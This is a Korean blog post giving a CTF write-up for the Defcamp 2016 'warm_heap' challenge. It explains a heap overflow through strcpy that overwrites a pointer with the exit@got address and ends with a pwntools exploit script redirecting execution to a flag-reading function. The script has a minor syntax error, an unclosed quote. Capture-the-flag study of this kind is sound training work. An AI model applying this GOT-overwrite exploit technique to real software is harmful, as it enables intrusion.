본문 바로가기

ctf

[Defcamp 2016 CTF] warm_heap

#file exp100.bin

exp100.bin: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0e731dd538262f53bce462fc8e115cf2d2ede5bf, stripped

 

간단하게 설명하자면.. 각 1,3번째 malloc pointer + 1 의 위치에 2,4번째 malloc() 함수의 반환 주소를 넣는다.

그리고 fgets() 함수를 통해서 malloc pointer + 1 의 주소 값에 4096byte 만큼 입력받는다. 여기서 첫 번째 strcpy() 를 통해 malloc_ptr2 + 1 의 주소 값을 덮어줄 수 있다.

따라서, malloc_ptr2 + 1 영역에 exit@got 주소를 넣고, flag를 fopen() 하는 곳으로 넘겨주면 flag를 읽는다.

 

 

# exploit

from pwn import *

binary = ELF('./exp100.bin)

#r = remote('192.168.127.163', 7778)
p = process('exp100.bin')


exit_got = binary.got['exit']
readflag = 0x400826

log.info('exit@got = ' + hex(exit_got))
log.info('read_flag_addr = ' + hex(readflag))


payload = "A"*40
payload += p64(exit_got)

payload_2 = p64(readflag)


p.sendline(payload)
p.sendline(payload_2)

p.interactive()

'ctf' 카테고리의 다른 글

[SECCON 2016 CTF] checker  (0) 2017.01.18
[WITHCON 2016 CTF] malloc  (0) 2017.01.17
[pwnable.kr] cmd2  (0) 2017.01.13
[pwnable.kr] dragon  (0) 2017.01.11
[DEFCON 2014 CTF] babyfirst heap  (0) 2017.01.11